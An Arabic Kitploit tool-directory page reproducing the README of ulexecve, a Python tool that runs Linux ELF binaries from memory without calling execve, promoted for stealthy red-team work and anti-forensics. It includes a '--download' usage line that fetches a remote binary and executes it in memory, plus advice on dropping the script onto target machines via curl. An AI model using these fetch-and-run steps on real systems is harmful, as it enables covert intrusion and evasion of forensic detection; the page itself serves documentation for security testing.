Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
ulexecve — يقوم بتنفيذ ملفات ELF الثنائية (ELF binaries) تعسفية مباشرة من الذاكرة على نظام Linux دون لمس القرص، مما يتيح عمليات فرق حمراء خفية ومكافحة التحقيق الجنائي عبر نص Python واحد. | Kitploit
أدوات/GitHubGitHub/anvilsecure/ulexecve
تحليل الذاكرة الجنائيالاستغلالما بعد الاستغلالاختبار الاختراقالأدوات والمكوناتالفريق الأحمر
GitHubanvilsecure/ulexecve

ulexecve

يقوم بتنفيذ ملفات ELF الثنائية (ELF binaries) تعسفية مباشرة من الذاكرة على نظام Linux دون لمس القرص، مما يتيح عمليات فرق حمراء خفية ومكافحة التحقيق الجنائي عبر نص Python واحد.

عرض المستودع
21420منذ 2 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
الموقع الإلكتروني

بداية سريعة

قم بتنفيذ ملفات ELF الثنائية الديناميكية أو الثابتة لنظام Linux دون استدعاء execve() مطلقًا.

root@kitploit:~
cat /bin/echo | ulexecve - hello
hello

مقدمة

هذه الأداة المكتوبة بلغة بايثون تُسمى ulexecve وهي اختصار لـ userland execve. تساعدك على تنفيذ أي ملفات ELF ثنائية على أنظمة Linux من مساحة المستخدم دون استدعاء استدعاء النظام execve() أبدًا. بعبارة أخرى: يمكنك تنفيذ ملفات ثنائية عشوائية مباشرة من الذاكرة دون الحاجة إلى كتابتها على التخزين. هذا مفيد جدًا من منظور مكافحة الطب الشرعي أو الفرق الحمراء، ويتيح لك التحرك بسرية أكبر مع إسقاط ملفات ثنائية مُجمعة على الأجهزة المستهدفة. تعمل الأداة على CPython 3.x وكذلك CPython 2.7 (وربما إصدارات أقدم) على منصات Linux المدعومة (x86, x86-64 و aarch64). يتم دعم كل من ملفات ELF الثنائية الثابتة والديناميكية. بالطبع سيكون هناك دائمًا مجموعة صغيرة من الملفات الثنائية التي قد لا تعمل أو تؤدي إلى تعطل، ولهذه الحالات تم تنفيذ طريقة احتياطية موثوقة بنسبة 100% فوق استدعاء النظام الحديث memfd_create().

خلفية

أدوات تنفيذ execve في مساحة المستخدم على Linux لها تاريخ يعود إلى حوالي عقدين من الزمن. أولى الكتابات القوية حول هذا الموضوع كانت بواسطة the grugq في The Design and Implementation of Userland Exec [1] بالإضافة إلى مقال آخر في Phrack 62 [2]. تقنيات مكافحة الطب الشرعي لتنفيذ الملفات الثنائية مباشرة من الذاكرة هي تقنيات قياسية إلى حد ما. على سبيل المثال، Rapid7's mettle يحتوي على مكتبة اسمها libreflect تتضمن أداة noexec التي تحاول أيضًا تنفيذ ELF عن طريق الانعكاس فقط. لكن هذه الأداة مكتوبة بلغة C ولديها شرط ضمني بأنك تحتاج إلى نقل الملف الثنائي noexec إلى النظام المستهدف وكذلك القدرة على تنفيذ هذا الملف الثنائي.

في بيئات الحاويات الحديثة، هذا ليس ممكنًا دائمًا بعد الآن. لكن العديد من بيئات الحاويات تحتوي على تثبيت بايثون. القدرة على تنزيل سكريبت بايثون ببساطة عبر curl أو ما شابه على جهاز مستهدف ثم تنفيذ هذا السكريبت لتنفيذ ملفات ثنائية عشوائية بسرية هو أمر مفيد جدًا من منظور مكافحة الطب الشرعي.

هذا هو أيضًا السبب في أن الأداة تم تنفيذها بالكامل في ملف واحد. هذا يسهل تنزيلها على الأنظمة المستهدفة دون القلق بشأن تثبيت أي تبعيات أخرى قبل تشغيلها. تم اختبار الأداة مع Python 2.7 على الرغم من أن هذا الإصدار قديم. لا تزال هناك العديد من الأنظمة التي تعمل بإصدارات 2.x لذا فهذا مفيد.

لم تكن هناك تطبيقات جيدة أخرى لـ execve() في مساحة المستخدم بلغة بايثون. يوجد SELF [3] والذي لم يتم توثيقه بشكل واسع، ويفتقر إلى خيارات تصحيح سهلة، والأهم من ذلك أنه لم يعمل على الإطلاق. تم كتابة تنفيذ ulexecve من الصفر. يقوم بتحليل ملف ELF، وتحميل وتحليل الرابط الديناميكي أيضًا (إذا لزم الأمر)، ورسم خرائط لجميع المقاطع في الذاكرة، وفي النهاية بناء مخزن قفز يحتوي على تعليمات وحدة المعالجة المركزية لنقل التحكم من عملية بايثون مباشرة إلى الملف الثنائي المحمل حديثًا.

كل منطق تحليل ELF الشائع، إعداد المكدس، رسم خرائط مقاطع ELF وإعداد مخازن القفز يتم تجريده بحيث يكون من السهل نسبيًا (في حدود بضع ساعات) نقله إلى وحدة معالجة مركزية أخرى. نقله إلى منصات أخرى قائمة على ELF مثل BSD قد يكون أكثر تعقيدًا لكنه لا يزال بسيطًا نسبيًا. لمزيد من المعلومات حول كيفية القيام بذلك، راجع التعليقات في الكود.

يرجى ملاحظة أن الهدف التصميمي الصريح هو عدم وجود تبعيات خارجية وأن يتم تنفيذ كل شيء في ملف مصدر واحد. إذا كنت بحاجة إلى إنشاء حمولات أصغر، فمن السهل جدًا إزالة دعم أنواع معينة من وحدات المعالجة المركزية أو إزالة جميع معلومات التصحيح والخيارات الأخرى.

التثبيت

للتثبيت عبر pip

على الرغم من أن هذا غير منطقي من منظور مكافحة الطب الشرعي، إلا أن الأداة قابلة للتثبيت عبر pip.

root@kitploit:~
pip install ulexecve
ulexecve --help

للبناء والتثبيت كحزمة بايثون

root@kitploit:~
python setup.py sdist
python -m pip install --upgrade dist/ulexecve-<version>.tar.gz
ulexecve --help

للتنزيل والتشغيل عبر curl

root@kitploit:~
curl -o ulexecve.py https://raw.githubusercontent.com/anvilsecure/ulexecve/docs/ulexecve.py
./ulexecve.py --help

الاستخدام

تدعم الأداة بالكامل الملفات التنفيذية الثابتة والديناميكية. ببساطة قم بتمرير اسم الملف الثنائي إلى ulexecve وأي وسائط تريد توفيرها للملف الثنائي. سيتم نسخ البيئة مباشرة من البيئة التي تنفذ فيها ulexecve.

root@kitploit:~
ulexecve /bin/ls -lha

يمكنك جعله يقرأ ملفًا ثنائيًا من stdin إذا حددت - كاسم الملف.

root@kitploit:~
cat /bin/ls | ulexecve - -lha

لتنزيل ملف ثنائي إلى الذاكرة وتنفيذه فورًا، يمكنك استخدام --download. سيقوم هذا بتفسير وسيطة اسم الملف كـ URI.

root@kitploit:~
ulexecve --download http://host/binary

لتصحيح الأخطاء، تتوفر عدة خيارات. إذا حدث تعطل، يمكنك عرض معلومات التصحيح عبر --debug، والمكدس المبني عبر --show-stack، بالإضافة إلى مخزن القفز المُنشأ --show-jumpbuf. خيار --jump-delay مفيد جدًا إذا كنت تريد تحليل ورسم خريطة لـ ELF بشكل صحيح ثم إرفاق مصحح للتنقل عبر مخزن القفز والملف الثنائي المنفذ للعثور على سبب التعطل.

root@kitploit:~
cat /bin/echo | ulexecve --debug --show-stack --show-jumpbuf - hello
...
PT_LOAD at offset 0x0002c520: flags=0x6, vaddr=0x2d520, filesz=0x1ad8, memsz=0x1c70
Loaded interpreter successfully
Stack allocated at: 0x7fddf630e000
vDSO loaded at 0x7ffd8952e000 (Auxv entry AT_SYSINFO_EHDR), AT_SYSINFO: 0x00000000
Auxv entries: HWCAP=0x00000002, HWCAP2=0x00000002, AT_CLKTCK=0x00000064
stack contents:
 argv
   00000000:   0x0000000000000002
   00000008:   0x00007fddf6312410
...
Generated mmap call (addr=0x00000000, length=0x00030000, prot=0x7, flags=0x22)
Generated memcpy call (dst=%r11 + 0x00000000, src=0x02534650, size=0x00000fc8)
Generated memcpy call (dst=%r11 + 0x0002d520, src=0x0253d720, size=0x00001ad8)
Generating jumpcode with entry_point=0x00001100 and stack=0x7fddf630e000
Jumpbuf with entry %r11+0x1100 and stack: 0x00007fddf630e000
Written jumpbuf to /tmp/tmphsiaygna.jumpbuf.bin (#592 bytes)
Executing: objdump -m i386:x86-64 -b binary -D /tmp/tmphsiaygna.jumpbuf.bin
...
245:   00 00 00
248:   4c 01 d9                add    %r11,%rcx
24b:   48 31 d2                xor    %rdx,%rdx
24e:   ff e1                   jmpq   *%rcx
...
Memmove(0x7fddf6f0e000, 0x0254d7f0, 0x00000250)
hello

هناك دائمًا خيار --fallback. إنه ليس بنفس السرية مثل تحليل ورسم خرائط الملفات الثنائية في مساحة المستخدم بأنفسنا. تستخدم طريقة الاحتياط memfd_create() و fexecve() لكنها يجب أن تعمل 100% من الوقت لتنفيذ أي ملفات ثنائية ثابتة أو ديناميكية. بشرط أن تكون الملفات الثنائية المقدمة هي الملفات الثنائية الصحيحة للنظام الذي تعمل عليه بالطبع.

القيود

من الواضح أنه يمكنك دائمًا الحصول على ملفات ثنائية لن يتم تنفيذها بشكل صحيح. ومع ذلك، هذا التنفيذ نظيف ومختبر جيدًا (يتضمن اختبارات وحدة للملفات الثنائية الثابتة والديناميكية، والملفات التنفيذية المُجمعة مع PIE والملفات التنفيذية ذات بيئات التشغيل المختلفة مثل Rust أو Go). بالنسبة لمعظم الأدوات والملفات الثنائية على المنصات المذكورة، يجب أن يعمل. لكن قد تختلف النتائج. الملفات الثنائية التي تنتجها أدوات التعبئة التي تضم معلومات أخرى داخل ELFs قد لا تعمل بشكل صحيح اعتمادًا على حيل الإحالة الذاتية التي تستخدمها. بالنسبة لملفات PyInstaller الثنائية، تمت إضافة طريقة احتياطية محددة إلى ulexecve.

ملفات PyInstaller الثنائية

الملفات الثنائية التي تم إنشاؤها باستخدام PyInstaller لن تعمل مباشرة. تتطلب هذه الملفات الثنائية ملف حزمة مصاحب أو، في معظم الحالات، تضمين داخل ELF البيانات الإضافية اللازمة لفك الضغط والتشغيل بشكل صحيح بعد بدء تشغيل مترجم بايثون المضمن. هذا يعني أنه لا يمكن جعلها تعمل بشكل صحيح. هناك عدة طرق للالتفاف حول هذا. طريقة بسيطة، قد تعمل في مجموعة فرعية من الحالات الواقعية، تفترض وجود نظام ملفات مؤقت قابل للكتابة. ثم نستبدل السلسلة /proc/self/exe في الملف الثنائي بـ /tmp/xxxx. بعد ذلك، نقوم بتحميل الملف الثنائي في الذاكرة عبر memfd_create() ثم نوجه الرابط الرمزي عند /tmp/xxxx إلى /proc/<pid>/fd/<fd> للملف في الذاكرة. لتجربة هذا الخيار استخدم --pyi-fallback. إذا كنت بحاجة إلى تحديد دليل مؤقت آخر محدد استخدم --tmpdir. يرجى ملاحظة أن المسار الناتج بما في ذلك tmpdir يجب أن يكون بنفس الطول بالضبط (بالبايت) مثل السلسلة /proc/self/exe (14 بايت)، لذا لن تعمل المسارات الأطول.

root@kitploit:~
$ cat > h.py
print("hello")
$ pyinstaller -F -c h.py
...
$ cat ./tmp/dist/h  | ./ulexecve.py -
[5064] Cannot open PyInstaller archive from executable (/usr/bin/python2.7) or external archive (/usr/bin/python2.7.pkg)
$ cat ./tmp/dist/h  | ./ulexecve.py --pyi-fallback -
hello

النقل

عند النقل إلى منصة مختلفة، تأكد من أن جميع اختبارات الوحدة القليلة تعمل. ببساطة قم بتشغيل ./test.py المضمن على النظام الأساسي المستهدف وقم بإصلاح كل شيء حتى تنجح جميع هذه الاختبارات مرة أخرى.

الأخطاء، التعليقات، الاقتراحات

أرسل طلب سحب عبر github، أو انشر مشكلة في متتبع المشكلات، أو ببساطة أرسل بريدًا إلكترونيًا إلى [email protected].

المراجع

  1. "تصميم وتنفيذ Exec في مساحة المستخدم"، بواسطة the grugq.

  2. "FIST! FIST! FIST! الأمر كله في الرسغ: التنفيذ عن بعد"، بواسطة grugq، Phrack 62-0x08، 2004-07-13.

  3. تنفيذ SELF في بايثون، بواسطة Maciej Kotowicz (mak).

تنزيل الأداة